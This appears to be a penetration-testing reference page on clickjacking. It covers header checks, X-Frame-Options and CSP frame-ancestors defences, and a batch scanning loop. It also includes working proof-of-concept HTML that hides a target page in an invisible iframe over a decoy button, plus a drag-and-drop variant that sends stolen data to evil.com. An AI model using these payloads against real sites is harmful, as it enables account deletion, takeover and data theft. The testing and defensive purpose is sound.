Skip to main content

Documentation Index

Fetch the complete documentation index at: https://docs.bytejmp.com/llms.txt

Use this file to discover all available pages before exploring further.

Overview

Attacker overlays transparent iframe of target site over a decoy page. Victim clicks what they think is the decoy but actually interacts with the hidden target — changing settings, transferring funds, etc.

Detection

Check Headers

curl -s -I https://TARGET | grep -iE "x-frame-options|content-security-policy"

Vulnerable If

  • No X-Frame-Options header
  • No frame-ancestors in CSP
  • X-Frame-Options: ALLOW-FROM (deprecated, not supported in modern browsers)

X-Frame-Options

ValueDescription
DENYCannot be framed by anyone
SAMEORIGINOnly same origin can frame
ALLOW-FROM uriDeprecated — non-functional in modern browsers. Fails silently
Best practice: use both X-Frame-Options: DENY and frame-ancestors 'none' for backward compatibility.

CSP frame-ancestors (Modern)

Content-Security-Policy: frame-ancestors 'none'          # Same as DENY
Content-Security-Policy: frame-ancestors 'self'           # Same as SAMEORIGIN
Content-Security-Policy: frame-ancestors https://trusted.com
frame-ancestors overrides X-Frame-Options when both present.

Basic PoC

<!DOCTYPE html>
<html>
<head><title>Clickjacking PoC</title></head>
<body>
<h1>Click the button to win a prize!</h1>

<div style="position: relative; width: 500px; height: 500px;">
    <!-- Decoy content underneath -->
    <button style="position: absolute; top: 200px; left: 100px; z-index: 1; padding: 20px; font-size: 20px;">
        Click Here!
    </button>

    <!-- Transparent target iframe on top -->
    <iframe src="https://TARGET/settings/delete-account"
            style="position: absolute; top: 0; left: 0; width: 500px; height: 500px;
                   opacity: 0.0001; z-index: 2; border: none;">
    </iframe>
</div>

</body>
</html>

Visible for Testing (opacity: 0.5)

<iframe src="https://TARGET/settings"
        style="position: absolute; top: 0; left: 0; width: 100%; height: 100%;
               opacity: 0.5; z-index: 2; border: none;">
</iframe>

Advanced Techniques

Drag-and-Drop Clickjacking

Trick user into dragging content from target iframe into attacker-controlled area:
<iframe src="https://TARGET/api-key" id="target"
        style="opacity: 0.0001; position: absolute;"></iframe>
<div id="drop" ondrop="steal(event)" ondragover="event.preventDefault()">
    Drop here to continue
</div>
<script>
function steal(e) {
    fetch('https://evil.com/steal?data=' + encodeURIComponent(e.dataTransfer.getData('text')));
}
</script>

Multi-Step Clickjacking

Move iframe between clicks to chain multiple actions:
<script>
var step = 0;
document.onclick = function() {
    step++;
    if (step === 1) {
        document.getElementById('frame').src = 'https://TARGET/settings';
    } else if (step === 2) {
        document.getElementById('frame').src = 'https://TARGET/settings/confirm';
    }
};
</script>

Cursorjacking

Replace cursor with offset image — user clicks different position than expected:
<div style="cursor: url('fake-cursor.png') 200 200, auto;">
    <iframe src="https://TARGET/delete" style="opacity: 0.0001;"></iframe>
</div>

Common Targets

ActionImpact
Change email/passwordAccount takeover
Enable 2FA on attacker devicePersistent access
Delete accountDestructive
Transfer fundsFinancial
Change privacy settingsData exposure
OAuth authorizeToken theft
Admin actionsPrivilege abuse

Additional Defenses

SameSite Cookies

SameSite=Strict or Lax on session cookies prevents authenticated actions in framed contexts. Partial defense — blocks cross-site POST but not GET-based framing.

JavaScript Frame-Busting (Unreliable)

<script>
if (top !== self) top.location = self.location;
</script>
Bypassed by sandbox attribute on iframe. Not a reliable defense.

Automation

Nuclei

nuclei -t http/misconfiguration/clickjacking/ -l urls.txt

One-Liner Check

while read url; do
    headers=$(curl -s -I "$url" 2>/dev/null)
    xfo=$(echo "$headers" | grep -ci "x-frame-options")
    csp=$(echo "$headers" | grep -ci "frame-ancestors")
    if [ "$xfo" -eq 0 ] && [ "$csp" -eq 0 ]; then
        echo "[VULN] $url"
    fi
done < urls.txt

Quick Reference

ProtectionHeader
Block all framingX-Frame-Options: DENY
Same origin onlyX-Frame-Options: SAMEORIGIN
CSP (modern)frame-ancestors 'none' or 'self'
PoC testiframe with opacity: 0.0001 over decoy

Sources